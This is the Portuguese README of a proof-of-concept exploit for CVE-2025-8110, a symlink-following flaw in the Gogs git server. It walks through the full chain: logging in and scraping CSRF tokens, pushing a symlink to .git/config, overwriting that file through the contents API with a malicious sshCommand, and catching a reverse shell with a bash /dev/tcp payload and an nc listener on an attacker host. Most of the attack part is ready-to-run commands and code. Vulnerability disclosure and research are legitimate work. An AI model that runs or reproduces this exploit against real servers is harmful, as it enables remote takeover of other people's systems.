
Exploit PoC para CVE-2025-8110
O CVE-2025-8110 é uma vulnerabilidade crítica no Gogs que permite que atacantes autenticados executem código remotamente através da manipulação de links simbólicos em repositórios. Esta prova de conceito demonstra a cadeia de exploração completa, desde a autenticação até a obtenção de um shell reverso.
A vulnerabilidade existe porque o Gogs segue links simbólicos ao manipular arquivos de repositório através de sua API, permitindo que um atacante leia e modifique arquivos sensíveis como .git/config. Ao injetar uma diretiva sshCommand maliciosa, comandos arbitrários do sistema podem ser executados com os privilégios da conta de serviço do Gogs.
Pontuação CVSS: 7.2 (Alta)
Vetor de Ataque: Rede
Autenticação Necessária: Sim
Interação do Usuário: Nenhuma
Impacto: Comprometimento completo do sistema
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Script principal do exploit
├── requirements.txt # Dependências Python
└── README.md # Documentação
| Opção | Descrição | Obrigatório |
|---|---|---|
-u, --url | URL base do Gogs (ex.: https://gogs.example.com) | Sim |
-lh, --host | Endereço IP do atacante para shell reverso | Sim |
-lp, --port | Porta do atacante para shell reverso | Sim |
-U, --username | Nome de usuário do Gogs | Sim |
-P, --password | Senha do Gogs | Sim |
-x, --proxy | Habilitar proxy (localhost:8080) | Não |
-v, --verbose | Habilitar saída verbosa | Não |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ Cadeia de Exploração CVE-2025-8110 │
└─────────────────────────────────────────────────────────────────────────────┘
Passo 1: Autenticação
├── Navegar para /user/login
├── Extrair token CSRF da página de login
├── Enviar credenciais com token CSRF
└── Estabelecer sessão autenticada
Passo 2: Geração de Token de Aplicação
├── Navegar para /user/settings/applications
├── Extrair token CSRF da página de configurações
├── Gerar novo token de aplicação
└── Extrair token da resposta
Passo 3: Criação de Repositório Malicioso
├── Criar repositório via API com auto_init
├── Gerar nome de repositório aleatório
└── Obter URL do repositório
Passo 4: Upload do Link Simbólico
├── Clonar repositório localmente
├── Criar link simbólico apontando para .git/config
├── Adicionar, commitar e enviar alterações
└── Verificar upload bem-sucedido
Passo 5: Exploração RCE
├── Criar .git/config malicioso com sshCommand
├── Codificar conteúdo da configuração em Base64
├── Enviar via API para o alvo do link simbólico
└── Disparar execução do comando
Passo 6: Shell Reverso
├── Conexão estabelecida com o host atacante
├── Acesso interativo ao shell
└── Execução de comandos no alvo
O Gogs falha em sanitizar adequadamente a travessia de links simbólicos ao lidar com arquivos de repositório através de sua API. Quando um arquivo é acessado via endpoint da API, o Gogs segue links simbólicos sem validação, permitindo acesso a arquivos sensíveis fora do diretório do repositório.
Criação do Link Simbólico
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Configuração Maliciosa
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
Exploração da API
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123